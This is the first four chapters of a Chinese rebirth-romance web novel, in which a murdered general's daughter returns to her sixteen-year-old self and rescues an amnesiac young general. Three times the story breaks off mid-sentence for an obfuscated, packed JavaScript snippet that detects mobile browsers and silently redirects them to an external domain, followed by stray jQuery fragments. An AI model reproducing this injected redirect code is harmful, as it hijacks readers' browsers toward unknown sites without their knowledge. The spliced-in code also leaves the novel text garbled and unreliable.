《夫君,把刀放下(重生)》
1. 重生
暮春三月,寒意料峭。
黑如浓墨的夜空中,忽地窜起一阵火光。很快,烈焰的红色染红了夜空,在京城中不断扩大。
陈王终究是动手了,弑兄篡位。
喧闹的杀喊声沿着主街一路往前,不曾停歇,整个京城都被包裹在血光火海中。
温府院中,温云琛被两名士兵押着,浑身是伤,不难看出先前与人经历过一番打斗。
一把沾满血的匕首被扔在了地上,为首将领捡起它,戏谑地掂了两下:“果然是将门之女,死到临头还能反抗,杀我兵士。”
他用匕首沾血的刃挑起温云琛的下巴,啧道:“若不是毁了容,本将军倒是可以勉强把你收作……妾室。”
面前女子即便不施粉黛依旧眉目如画,肌肤胜雪,如绸缎般的青丝只用一根破旧的木簪绾起。
如若忽略脸上那道狰狞的疤痕,她本该是极为标志的美人。
温云琛冷笑一声,将口中鲜血喷在将领脸上:“无耻小人,有种便杀了我,我即便化作厉鬼,也要让你九族不得安宁!”
“你!”
将领正要恼羞成怒,忽地笑了,似乎觉得曾经的将门嫡女被踩进泥里还不够,高傲道:“温二娘子怕是不知,你那被杨氏收留的母亲,昨日便死了。”
温云琛猛地抬起头来,双目充血,不可置信地问:“……你说什么?”
“我说她死了,重病缠身,做不了工又没钱治病,就在柴房病死了。”说罢,便是一阵得意的笑。
温云琛眼前忽地一片漆黑,心中坚持了许久的弦终于断了。
三年前,她意外毁容,温父奉命出征,遭奸人所害含冤战死,自此温母一病不起。没过多久,兄长又莫名猝死,至此温家彻底没落。
只有二房因女儿顶替了温云琛的婚约嫁入杨氏而生活优渥,还把温母带到杨氏,美其名曰“照顾主母”。
后来温云琛才想明白,他们大房遭受的这些变故,与二房脱不了干系,而他们带走母亲,也只是为了威胁温云琛乖乖听话。
因为二房的手笔,温府家产也被尽数收去,昔日恢宏的将军府变得破败不堪。
似乎是为了折辱温云琛,二房并没有要了她的命,而是把她关在这里如同牲畜般圈养。
为了找到父兄惨死的原因,也为了母亲,温云琛没有寻短见,但三年来没能发现多少有用的信息。
如今,他们若想摆脱温云琛这个累赘,趁宫变动手最合适。
喉中苦痛的哽咽压得温云琛什么都说不出来,眼中被溅上了血,血红一片,只有寒光闪过的片刻刺眼。
“温二娘子不必伤怀,我这就送你去见家人,送你们泉下相逢!”
用劲最后的力气,温云琛抬起头来,撕心裂肺般大喊道:“……我死后,必化九幽厉鬼,生啖尔等血肉,将你们撕碎撕裂万劫不复!!”
温氏世代忠君,父亲一生戎马,他们凭什么就落个这样的下场?
不甘心,真的好不甘心……
刀光没入身体,温云琛只感受到一阵剧烈的疼痛,身后的兵士松手,她便卸了全部力气般倒在地上。
血光染红了青石地面,温云琛感受到身体的温度逐渐流逝,逐渐变成和冰冷石板一样的温度。
好恨。
若自己再强一些,若手中握有权势,她是不是就能救下自己的家人,让那些害他们的人都下地狱?
就在意识逐渐模糊之时,府外的喧嚣声似乎突然扩大了数倍,紧接着便有叛军大喊:“将军,有人偷袭!呃——”
“温云琛,你在里面吗?!”
“谁敢动她?让开!都给我让开!”
一个男人的声音自叛军后传来,温云琛一怔,这是个并不熟悉的声音。
是谁?
很快,叛军便打斗起来,一时间,温府中一片混乱,火光与血光交杂着,如地府鬼怪的盛宴。
不多时,有一人不顾一切拼杀至院中,在看到倒地的温云琛后,更是红了眼,不要命般往她这边杀,一招一式根本没留给自己防守的余地。
男人一袭黑蓝色衣袍,长发高高束起。温云琛见到了他的脸,俊美无俦,眼中尽是果决,满身杀伐气息像极了地府爬上来的阎罗。
但这样一张脸,温云琛肯定自己没见过。
身体几乎到了极限,眼前彻底黑了下去,温云琛什么都看不见了,只能听见些声音。
叛军将领怒道:“裴允晏,你竟敢反叛?!还敢只身前来?!”
裴允晏……
温云琛想起来了,裴大将军的独子,裴少将军,少年便能领军出征的将才,京城人人闻风丧胆的阎罗煞神。
但在她的记忆中,两人并未见过,裴允晏为什么要为她拼命?
裴允晏手中的刀卷了刃,便丢掉,抢过叛军手里的刀继续杀。
数不清杀了多少人,身上的血分不清是谁的,连眼中都溅入了血,目光所及一片血红。
怪不得人人叫他煞神,杀起来连自己的命都不顾,似乎满心只有“杀”这一字。
但即便再英勇,终究还是寡不敌众,不多时裴允晏败下阵来,背上满是没入身体的羽箭。
他跪倒在地,目光依旧看向温云琛,一点一点朝她身边挪去。
温云琛感受到自己的手被人握住了。
“见过一次……我们见过一次,”裴允晏看着已然不会睁开眼睛的女子,满目猩红,无厘头地开始说,“我曾在高台上,高高地见过你一眼……”
……疯了吧?温云琛想。
那么远的一眼,竟值得一个已然功成名就的将军赔上命也要救她?
“我后悔……自己没能早些来找你。”
裴允晏的伤在青石板上留下一路蜿蜒的血迹,眼神却比外面的火光更加炽烈,耗尽力气终于把她抱在怀里。
“温云琛,我肩负的东西太多,从来没什么后悔的机会,也没什么随心所欲的机会……但我现在恨自己没早些救你,没早些说自己的心意。”
“我心悦你,我想让全天下都知晓,我只心悦你。”
哪怕……她容貌尽毁,裴允晏也还喜欢她吗?
原来在她低微如泥的这段时间,仍有人把她当作心上珍宝。
只是,也许时不待我,一切都来得太晚了。
若有来世,裴允晏……
曾经不敢宣之于口的一切,不要再当作临别之言。
冰冷的黑暗彻底吞噬了意识,裴允晏维持着抱着温云琛尸体的姿势,两人一同被火焰吞噬殆尽。
——
意识模糊间回笼,紧接着眼前便是一阵刺眼的光。
温云琛下意识抬手遮挡,迷迷糊糊睁开了眼睛:“谁……”
一开口,嗓音竟是沙哑得可怕。
“女公子,您醒了!”
熟悉的声音让温云琛一愣,立即朝床边人看去,女孩脸圆圆的,竟然是她从前的婢女浮白!
“你……”温云琛瞪大眼睛,继而不可置信地看着周围一切。
自己上一刻还死在那片火中,下一刻竟在温氏还未覆灭时的闺房中醒来。
温云琛冲下床,看着铜镜里自己还完好无损的脸,看着自己明媚的少女面庞,愣怔片刻后,伴着心中酸
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15583739|171629||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
楚笑出了声。
她回来了!回到了自己十六岁时,回到了自己未被毁容时,回到了一切还来得及挽救的时候!
温云琛来不及跪谢满天神佛,想到上一世死前最后的画面,扭头抓住浮白的手腕,下意识问:“裴允晏在哪?”
浮白吓坏了:“女公子提那位做什么?咱们和裴府素无往来,何况那裴少将军不是京城煞神吗,提他怪吓人的……”
在浮白看来今日发生的一切是相当可怕了,先是自家从来不赖床的女公子睡到日上三竿才醒,接着便对着铜镜里的自己笑个不停,笑完又问一个素不相识的煞神在哪……
不是脑子生病了吧?
冷静片刻,温云琛才意识到自己失言,摆了摆手。
找裴允晏的事得从长计议,哪能直接跑到人家面前?但眼下她可以跑到另外几人面前。
看着院中熟悉的一草一木,忍着鼻腔的酸楚,冲出房门,朝父母院落奔去。
她想见到父母,想见到阿兄,这些阔别已久的思念让她恨不得直接飞到他们面前!
终于,在穿过几个回廊后,便听见房中传来熟悉的声音。
“姒妇啊,鬼神之说宁可信其有不可信其无,我这也是为了咱们温氏好。连道长都说咱家不干净,只是驱邪而已不会出事的。”
温云琛停住脚步,凝眉。
这不是她二叔母,温家的仲夫人吗?
二叔早逝,二房只留下他妻子柳氏和女儿温夕玉,可这看似柔弱的两人却心眼颇多,上一世把整个温氏搅得天翻地覆。
“这……”另一个更显柔弱的女人纠结着说,“将军从不喜鬼神之说,我也不信,娣妇还是请回吧。”
阿母,是阿母的声音没错!
柳氏还不依不饶:“姒妇,你仔细想,婿伯如今在外领军,过几日才归家,若在此时家中出了乱子岂不是给他添堵?你就听我的,法事也不过两个时辰必定结束,到时候家中一切安好,岂不完美?”
温云琛明白过来,冷笑一声。
上一世,就是在这所谓的法事上,那道人手中烧红的剑划伤了她的脸,偏不知道那剑提前浸过什么奇怪的符水,这才让疤痕一直消不下去,让她毁了容。
看来她回来的正是时候,这次她又岂会让二房再得逞?
“二叔母这是为难我阿母,明知她性格柔便游说她。”温云琛大步走进房中,乖乖朝温母一行礼,随后站在她身边看向二叔母。
“二叔母若真为了家中安好,怎不等阿父回来再同他商量?”
“嘿,”见一向好说话的温云琛突然呛她,柳氏心中奇怪,强硬道,“你这女娃,何时学会了听墙角?大人间商量也是你能置喙的?”
“阿琛,”温母担忧地拉住温云琛的手,“听浮白说你今日睡得格外久,是身体不舒服吗?”
温云琛忍住即将决堤的眼泪,笑着摇摇头:“没事阿母,我就是前几日午睡没睡够,今日补个觉罢了。”
“此事不可小觑啊姒妇!”柳氏像是抓住了一根稻草似的,喋喋不休,“阿琛这嗜睡的异象怕就是鬼怪来临的前兆,说不定是挑准阿琛下手呢!”
温母眼中担忧更甚,明显动摇了。
长辈该干的事一点没干,如今倒来摆长辈的谱,做个架子给谁看?
温云琛心中暗嘲,默默一想,心中有了一个想法。
她乖觉道:“二叔母说的是,刚才是我鲁莽了,这么说来我这几日确实觉得家中不对劲,不然阿母就答应下来,一场法事而已,很快的。”
确实很快的。
只是这次毁容的不会是她了。
2. 捡人
见女儿也这么说,温母思索片刻还是答应下来:“那好吧,只是娣妇找的是何处的道人?可靠谱?”
“绝对靠谱!”柳氏高兴的险些手舞足蹈了,忙打包票,“就是城南临安祠的梁道人,那临安祠可是先帝都曾亲临的呢。”
温母惊道:“那不是个巫祠吗?里面难道不都是巫者?”
不过是一群招摇撞骗的方士罢了,也就是有那么一两条猜到了先帝的心坎里,早年间先帝还未发迹的时候去过一次,到二叔母嘴里跟佛祖开过光似的。
温云琛心中嗤道。
她开口劝道:“阿母别慌,都道仙巫不分家,尊称一声道人也是好的。女儿也在那里拜过,如今想去还愿呢?”
温母疑道:“阿琛何时去过?许了什么愿?”
“大概上月一次出门之时吧,”温云琛说着,虔诚地合十双手,“愿望是什么如今还不能告诉阿母,只是这个愿望今日醒来发现实现了,女儿总要再去一次的。”
大宁朝确实有仙巫不分家的说法,虽然温云琛只是临死前有所愿,不知是哪位仙人实现的,但拜一拜总显虔诚。
温母还是不放心:“那阿母与你一起。”
“不必了,女儿还要在那里暂住两日,阿母得留在家中掌管中馈呢,”说着,温云琛朝柳氏那边瞥了一眼,“阿母要防着些,可得小心小人作乱。况且有沉墨浮白与我一起,安全着呢。”
沉墨是阿父温绍专门为温云琛留下的女婢,是会些本事上过战场的,有她陪着,温母自然放心,于是松了口:“好吧,那便早去早回。”
“嗯嗯,”温云琛挂着笑容,看向柳氏,“不知二叔母准备将法事定在何时呢?”
柳氏被气得脸色不好,半天才勾起一个难看的笑:“自然是等阿琛从临安祠回来了,咱们一家人除了婿伯都要在的,等你回来我即刻安排。”
“辛苦二叔母。”
温云琛说完,叮嘱了温母几句按时吃药锻炼便回到院子了。
阿母出生书香之家,是名副其实的大家闺秀,只是也因此性格软弱,从前因为这个吃了不少亏,既然重活一世,那温云琛一定要为阿母撑起坚实的后背来。
坐在院中的小亭子里,温云琛手指规律地敲击几下石桌,道:“浮白,你去把沉墨叫来,这次有她和我去就好,你留在家中。”
“啊?”浮白有些失望,还有些委屈,“女公子这次怎么不带我了?莫不是嫌我粗笨,不愿再用。”
浮白从小与她一起长大,知根知底,温云琛自然相信,她笑了笑说:“当然不是,留你在家是有更重要的任务,你来,我和你说……”
耳语一阵过后,浮白的眼睛闪闪发光起来:“好!就包在我身上!只是女公子为何突然要盯着二房?”
在她的印象里,她家女公子对于仲夫人和大娘子从来都很爱护尊重。
温云琛垂眸看着手中杯盏,茶汤中悠悠飘着一片茶叶残渣,格外惹眼。
“因为,我们温氏有害群之‘虫’。”
说罢,茶汤泼在石板上,晕开一片水渍。
——
二房院中,柳氏尖酸的咒骂不绝于耳。
“那个小贱种竟敢那么对我说话?她以为自己是谁啊?还让姒妇防着小人作乱,以为我听不出是在骂我小人?真是岂有此理!”
温夕玉正写字,停了笔慢悠悠地看向她,说道:“阿母,你总这么沉不住气。反正她也蹦跶不了几日了,你何必在意这些?到时候别说温氏,就连别的不也是我们掌中之物?”
“对对对,阿玉说的是!”柳氏转了一张笑脸,揽住温夕玉,“还是我女儿聪明,等那个小贱人毁了容,她与杨氏的婚约不就顺其自然到你身上了?”
“当然,与杨氏有婚约的是温氏嫡女,我也是嫡女,甚至是长女,只不过因为在二房,所以这婚约才到了温云琛头上,”温夕玉叹了口气,面不改色,只微微勾了唇角道,“不过很快了,她拥有的一切,都会化为乌有。”
——
临安祠在京城郊外,有些距离。安全起见,除了沉墨之外,温云琛还带了两名护卫随行,都是个顶个的好手。
温云琛静坐在马车中,沉下心来回想过去的事。
上一世,她就是在二叔母提出的法事上被梁道人毁了容,只是事后梁道人逃之夭夭,家中又接连遭受变故,这才没时间没能力找到那人。
对此,二叔母只是说是场意外,定是外面有人想害温云琛,把自己撇得干干净净。阿父温绍自然不信,但碍于那是自己亲弟遗孀,也没有重罚。
温云琛知道,必定是二叔母与那梁道人串通一气才害了她,只是她如今想知道那梁道人得到了多少好处。
她想让温夕玉也尝尝毁容的滋味,只是自己动手只会脏了手,让她自食其果才好。
想到这里,温云琛无声地笑了笑。
没什么比狗咬狗更好看的戏了。
马车已行至郊外,树林中并无人烟,距离临安祠只有一小段距离。
突然,马车毫无征兆地停了下来,温云琛正纳闷,就听沉墨低着嗓音道:“女公子,路边有个人,在朝我们这边走。”
温云琛:“?”
只是一个人,干嘛这么大惊小怪?
她疑惑地抬起车帘,向外望去。
只见马车右侧不过十几步远的地方,一名少年手中提着长剑,看着受了重伤,身上黑甲损毁不少,踉踉跄跄朝这边走着。
温云琛却在一瞬间滞住了呼吸。
少年的黑发高高束起,即便被血和泥遮挡,依旧看得出面目俊美无俦,如画一般。
是裴允晏,竟然是他!
温云琛没想到竟然会在此时此地碰见他,但更让她在意的是,裴允晏怎么会受这么重的伤?
她二话不说下了车,此时裴允晏也走不动了,摔倒在地。
沉墨始终小心地护在温云琛前面,两人一起朝裴允晏走近。
“是你……”裴允晏看着面前的温云琛喃喃一句,随后似是放心般闭上了眼睛。
温云琛:“……”
这是什么意思,难道他也回来了?还是说……在这个时间,裴允晏已经见过她了?
心中一阵温热淌过,是一种很奇异的感觉,仿佛在寒冬冰封了许久的河流在一瞬间得以消融解脱。
“女公子,他伤得很重,晕死过去了,但还没死,”沉墨思虑片刻,问,“要管吗?”
沉墨是一向不爱管闲事的,但这种情况,对方看起来不是什么普通人,她怕自家女公子事后被讹上。
“管!”温云琛深吸一口气,将眼中热泪憋回去,连忙去扶裴允晏,“把他扶到马车上。”
沉墨皱眉:“女公子,您的清誉。”
温云琛:“没事,你不说我不说他不说,清誉就还在,实在不行大不了就不要了。”
重活一世的人,哪能被这些教条束缚?
这时,一个护卫认出了裴允晏,惊奇道:“裴少将军不是在外征战吗?怎么突然回来了,还只有一个人?”
“……不要声张,这件事只有我们几个知道,”温云琛冷静吩咐,“我们带他一起去临安祠,你去请最近最好的郎中来,不要被人发现,尤其当心不要被跟踪。”
护卫:“是!”
此时贸然回家请郎中必定会引人注意,把裴允晏送回府也会
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15583740|171629||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
引人注目,况且不知道他这一身伤从何而来,又为何离军私自回京,不如还是一道去临安祠,按下不动,等他醒了再说。
原本还不知道怎么还裴允晏之前以命相救的情谊,如今倒是给了她个机会。
马车不大,把裴允晏安置上来之后,又为了防止他跌倒,温云琛只好双手揽住他,不让他滑落下去。
这么近距离看着,温云琛才发觉,这是自己第一次离一名外男这么近。
上辈子没机会,现在倒是一重生就叫她逮到了好时候。
这人即便昏迷着依旧眉头紧锁,眼皮肌肉紧绷着,像极了没睡熟时装睡的样子,却依然好看的很。
但这么重的伤,温云琛敢肯定他是昏死过去了,只能说明他平时睡觉便这样紧张。
温云琛突然多了几分好奇,人人害怕的煞神裴允晏,到底是个什么样的人?
从前她只知道一些人云亦云的皮毛,但现在,她想多了解他一些。
护卫提前和临安祠的人打过招呼,马车是从后门进去的,并没有惊动多少人。为了女娘家的声誉着想,温云琛所住的屋子也较为冷清,一般不会有人靠近。
下车时,沉墨见温云琛衣裙沾的全是裴允晏身上的血,目光一闪:“女公子……”
“无妨,”温云琛摆摆手,小心地扶着裴允晏,“女娘家从来不怕见血的,换身衣服就好了,不用大惊小怪。”
沉墨还要再说什么,却还是没说出口。
郎中来看了裴允晏的伤势,全程都是目瞪口呆的惊讶:“这……这位公子到底是什么人?能受这样重的伤?”
温云琛微微皱眉,担忧道:“能治好吗?银钱不是问题。”
“能是能,”郎中擦了擦额上的汗,“这位公子身上有箭伤、刀伤等十数处伤口,普通人受这样的伤早性命难保,这公子真是命大呀……”
温云琛拿出一个沉甸甸的钱袋,不动声色地塞到郎中手里:“麻烦您治好他,用最好的药,若有别人问起,您就当没见过这个病人。”
“好好。”
郎中拿了银两,忙不迭就开始施针上药。温云琛不放心,还站在床边看着,片刻后郎中才尴尬道:“这位女公子,我要为他宽衣上药了,你看……”
“……啊?哦好好好。”温云琛这才想起了男女大防这一说,连忙退到屏风后。
这么一跑,温云琛才发觉自己的脸已经烫了起来,虽然出来的及时,但之前裴允晏衣袍松散,她还是隐约看到了衣袍下紧实的肌肉。
天尊啊,两辈子头一次见到这种场面,这不能怪她害羞。
屏风并不能完全阻隔视线,这么看过去,还能看见裴允晏的身形,模糊间更显得周围温度燥热。
明明才是四月天。
许久,郎中擦着汗,出来松了一口气:“里面那位公子只要醒了就无碍了,在下观他命真硬,不是醒不来的人,女公子大可放心了。”
“……那就好哈。”
温云琛一时不知道该笑还是不该笑。
郎中留下伤药便被护卫送走了,温云琛安顿护卫回来时再买两身裴允晏穿的衣服,随后回到房间,小心坐在床边,盯着裴允晏看。
脸上的血污被擦去,少年的面貌更加清晰。虽然有战场洗礼的痕迹,但还有少年人这个年纪该有的朝气。
上辈子死前那一面,温云琛眼前模糊不清,没能好好看清裴允晏的脸,如今这么看着,只觉得裴允晏怕是全京城女娘都会心仪的类型。
正出神,温云琛手腕突然被人抓住,吓得一抬头,正好对上裴允晏睁开的眼睛。
还有他嘴角微微的笑。
温云琛:“……哎?”
3. 失忆
裴允晏的眼神格外温柔,眼中明亮得仿佛阳光下的河水,却将温云琛吓得不轻。
她与裴允晏只有两面之缘,上一次见他还是凶神恶煞的煞神,这回一睁眼便这副样子,反差大的她有些招架不住。
“淑女很美,”裴允晏还虚弱着,嗓音沙哑,吐出的字大多都是气音,“声音也很好听。”
温云琛:“……”
她不知道刚醒就夸人是什么毛病,同时意识到自己手腕还在裴允晏手里,连忙抽出来:“谢谢……”
“嘶——”裴允晏的手握得太紧,温云琛这一动就牵动了伤口,他倒吸一口凉气,问,“……是淑女救了我吗?”
“是我,”温云琛答应下来,出于礼节,和裴允晏保持了一定的距离,“你受了很重的伤,晕倒在了我马车边。”
随即,裴允晏绽开一个更为灿烂的笑容,灿烂到实在无邪得厉害:“淑女是我的救命恩人,我以后便跟着淑女了。”
温云琛:“……”
“淑女心善,以后我都听你话,好不好?”
“……?”
短暂的惊愕后,温云琛先是掐了自己一把,感受到疼痛后又伸手摸了摸裴允晏的额头,温度正常。
裴允晏还有些不好意思地触摸着额头上温云琛触摸过的地方。
温云琛毫不犹豫地立刻转身叫人:“沉墨?沉墨!”
“女公子,我在。”
“把郎中叫回来,快点!”
这莫不是个庸医,把人给治傻了?
不是煞神吗,怎么变成小猫咪了??
郎中被风尘仆仆地接回来时,人还是懵的,望闻问切后松了一口气,道:“公子已无大碍,只是醒的太快,冲到脑子了。”
“?”温云琛以为自己听错了,问,“什么意思?”
“在下早就说这公子不是寻常人,这种程度的伤,按理说没个三五日是醒不来的,虽说醒来就没事了,但公子性子太急,醒得快了,身体并未恢复,就造成了短暂的失忆。”
……失忆了?
温云琛惊讶地看向一旁乖乖躺着的裴允晏,很快接受了这个说法。
不然昏迷几个时辰就转了性子,实在离谱。
但为了早点醒来就给自己整失忆了,也是闻所未闻。
温云琛面色复杂地看着裴允晏,后者只是回给她一个灿烂的笑容。
“您看这失忆之症多久能好?”
总这么一脸灿烂的,实在像先天不足导致的弱智,少年将军威风凛凛的脸全丢完了。
似乎看穿了温云琛的想法,郎中斟酌道:“这个不一定,有可能三日,也有可能是三个月,全看公子自己的造化,不过三个月必定恢复了……呃,而且公子这个失忆只是忘记了一些事情,性格心智已然成熟,他可能天生就爱笑。”
温云琛心说,你要是知道他是谁,你就不会说他天生爱笑了。
再次把郎中送走,温云琛坐在床边小凳上跟裴允晏干瞪眼。
不是说杀人不眨眼的阎罗煞神吗,怎么人后是个这么清纯爱笑的?
裴允晏极为无辜地轻眨了下眼睛:“淑女还没回应我之前的话呢,我以后都跟着你,好不好?”
想到这个,温云琛就头大。
她耐下性子,小心温柔地询问:“你还记得自己是谁吗?”
裴允晏想了想,摇头。
“你记得自己怎么受伤的吗?”
摇头。
温云琛无奈:“那你记得什么?”
沉吟片刻,裴允晏说:“我只记得昏迷前见到了淑女,醒来见到的也是你,知道是淑女救了我,其他一概不记得。”
好嘛,忘了个一干二净。
“你叫裴允晏,”温云琛慢慢说着,“你是我们大宁的武将,裴府少将军,你阿父裴牧官拜太尉,乃是同先帝一起打江山的功臣。”
“噢……”裴允晏若有所思,又问:“那淑女是什么人?”
“我……”正要回答,温云琛突然想使个坏,狡黠道,“我是你心上人。”
本以为裴允晏不会轻易相信,谁知道他接受得格外快,直接点头:“我就知道,一定是!”
……?
不不不,怎会有人这么容易相信陌生人的话??
看着裴允晏近乎一脸甜蜜的样子,温云琛忍住不去揍他,叹出一口气:“我叫温云琛,我阿父乃汾武侯,虽是世家出身的将军,但官职并没你高,我甚至从前没见过你,你跟着我算怎么回事?”
“这有何不合适的?”裴允晏丝毫不在意,“只要我觉得合适就好啊,就算我是什么厉害的将军,不还是靠淑女心善一救才捡回一条命吗?”
温云琛哽住,没想到他竟然会这么反驳她的话。接着,温云琛又给裴允晏讲了一些她听护卫说的他的近况,不过对方没有恢复记忆的迹象。
温云琛不放心,说:“你都回到了京城,若不回府去,裴太尉怕是会着急。”
裴允晏半晌没说话,只是慢慢地用手指敲击着床沿,似乎在思考。
温云琛眼光一动,这人想事情时的动作,怎么和她这么像?
“我觉得我现在不能回去,”思考许久,裴允晏斩钉截铁地给出了答案,“既然我此刻应该在前方打仗,若战况紧急,我必定会亲自留在战场上,不会独自一人回来,只能说明战况已经稳定,并无异常。”
“我总觉得自己是去做了什么别的事,才受了重伤,回京城来也能说明前方战事无碍。”
温云琛顺着他的话想了想,觉得有理:“那你想得起来是去做什么别的事吗?”
“想不起来,”裴允晏遗憾地摇摇头,“也许和我家中有些关系,说不定我回来是要给家中报信。”
虽然确实是她把裴允晏捡了回来,但温云琛还是觉得对方说的有点多了,不是她能听的。
不过仔细回忆了一下前世,这个时间京城中一切安定,往后很长一段时间也没有紧急战报,边关安宁。
裴允晏只是做了和前世一样的事,说明他从前这个时候也受了伤,大概率是被裴府的人捡回去了。
主将私自回京是大罪,裴太尉必定不可能透露儿子回京的消息,只能是放在家中静养,等大军回京时再让裴允晏折回和他们一起。
这么想着,似乎暂时把裴允晏带在身边也未尝不可。
他此刻不愿回家,铁了心要跟着自己“报恩”,正好趁此机会能还一些从前的恩情,只是……
正要说话,温云琛突然觉得周围气息不太对劲,一抬眸,就见裴允晏不知什么时候已经挣扎着坐起来,那张俊脸这会儿和她只有不到一臂的距离,呼吸近在咫尺。
温云琛忘了躲闪,只怔怔地看着他,连呼吸都忘了:“你……干什么?”
“淑女的眼睫真好看,”裴允晏笑起来,露出虎牙,“我从没见过淑女这样美的女娘。”
温云琛笑了:“是因为裴少将军见的女娘少吧?”
整天都在战场上,都没多少机会见着京城这些一抓一大把的贵女。
裴允晏连忙说:“不不不,我见过很多呢,都是些庸脂俗粉,不像淑女……淑女像仙女一样,我一眼看过去只能看到你。”
不知道这家伙是为了跟着她专门甜言蜜语还是怎么,不管是哪种,温云琛承认,她很是受用。
啊,想来,自己之前活了二十年,竟然都没动过一次心……
“好吧,我同意你跟着我,”温云琛清清嗓子,端正坐着说道,“只是你得修书一封,我找人送回裴府,让你家中知道你一切都好。”
若能得太
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15583741|171629||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
尉一份人情,日后说不定大有用处。
“没问题!”裴允晏眼睛亮了亮,“纸笔呢?我即刻就写!”
“我找侍女给你拿……只是你这样随便跟着我也不是个事,”温云琛撑着下巴,黛眉一挑,计上心头,“得给你安排个身份。”
裴允晏眼睛更亮了。
温云琛:“你当我近身侍卫怎么样?”
普通护卫当然不行,不仅抛头露面,温云琛还时常见不到,总归不放心。近身侍从就不一样了,除了方便交流,说不定还真能保护一下她。
只是身份落差这么大,不知道他会不会……
“好啊好啊!”裴允晏根本没有犹豫,一下答应了下来,“只要可以离淑女近一点,什么都好!”
温云琛松了一口气,站起身来:“好,那你好生休养,今日天色不早,我还有些别的事,先走了。”
看着温云琛远去,裴允晏心中心绪纷乱,小鹿乱撞。
在他混乱的记忆里,似乎有一位亲人说过——
他有一天赐良缘,性温良,居高可相见。
想到昏死在马车前时,温云琛高高看过来那一眼,居高相见……少女的明媚温良瞬间映进了他心中的深不见底的井。
一定就是她,一定!
——
刚一出门,温云琛便见沉墨一脸复杂,问道:“怎么了?”
“女公子,有句话沉墨不知当不当讲,”沉墨纠结了许久,终于说,“裴少将军杀伐重,家主虽也是武将,但不会喜欢裴少将军这般杀人不眨眼的杀伐者。”
“阿父不喜欢怎么了?”温云琛琢磨了一会儿,这才意识到沉墨的意思,很快嗔道,“想什么呢!我对裴允晏不是那种心思,就是……之前有些纠葛,想报个恩。”
沉墨:“?”
你俩到底是谁该报恩?
“哎呀,总之——我只是暂时收留他,帮他治伤,仅此而已。”
温云琛确实没有这个想法,虽然曾经听裴允晏说过他浓重的心意,但她并不了解裴允晏,更不可能因为一段告白便倾心。
更重要的是,这一世重来,还不知道裴允晏的心意会不会同之前一样,一切都是未知。
“这样,奴婢就放心了,”沉墨松了口气,随后道,“女公子,您让我找的那名梁道人,我找到了。”
刚进入临安祠,温云琛便吩咐沉墨去暗中找前世那名毁她容的梁道人,那人太阳穴处有一朱痣,很好辨认。
找到他,盯着他,温云琛才有办法出手。
“很好,我们明日便演一出戏。”
温云琛勾起笑容,抬头看了看遮蔽阳光的大树。
从前都是她做丑角,如今,轮到她做台后的木偶师,且看木偶们如何鸡飞狗跳。
——
傍晚,阴云密布,天厚得快要下雨。
裴太尉刚与同僚议完事,正要回府,就有一面生的小厮拦住他的路,递给他一封书信:“裴大人,公子来信。”
纵横沙场多年的老将瞬间警觉,往常都是飞鸽传信,这次怎么……
“盯着他,看他是谁的人。”
吩咐给手下这一句,裴太尉回到府中,快步走回房间,打开书信,只见上面只草草写着几个字,宛若狗爬,一看就是他儿左手之杰作。
左手写信,是他一早和裴允晏约好的通信方式,毕竟这次行动太险。
但……
“儿没事,十分安全,嘿嘿。”
裴太尉:“?”
……不是暗中剿灭乱党吗?乱党的消息呢?谁问你有事没事了??
很快,追踪小厮的护卫来报:“大人,那人直接去了城南临安祠,但属下认出那是温府的护卫。”
温府?
温府有谁在啊?
4. 拜仙
昨夜下了一场雨,打落不少已经盛开的丁香,同时也掩盖下了裴允晏带来的血腥气。
温云琛刚醒,发觉今日温度低了不少,不自觉裹紧了被子:“沉墨,我有带厚些的衣裳吗?”
没有沉墨的声音,倒是房门吱呀一声打开了一条缝,外面人似乎递了什么进来。
温云琛疑惑极了,起身披了件外裳,走到门口一看,竟然是裴允晏坐在门口,给她递斗篷。她惊讶道:“你在这儿做什么?”
“我是淑女的近身侍卫啊,当然要保淑女周全,”裴允晏笑着站起来,人还颤颤巍巍的,看着不能站很久的样子,“守夜嘛,我昨日睡太久了,半夜醒来没事干,于是就过来了。”
……这算什么事?
“哪就用得着你堂堂将军亲自给我守夜了,”温云琛扶额,好歹是把斗篷接了过去,把裴允晏推进房中,“别再冻病了,好不容易捡回来一条命呢。”
裴允晏笑得格外乖巧:“好,都听云琛淑女的。不过我们武将嘛,身体好,不怕守这一会儿的。”
他今日穿上了新衣裳,昨日没提醒护卫,买回来的衣服都是素色的,本以为会和裴允晏的气质很不符,却没想到是另外一种感觉。
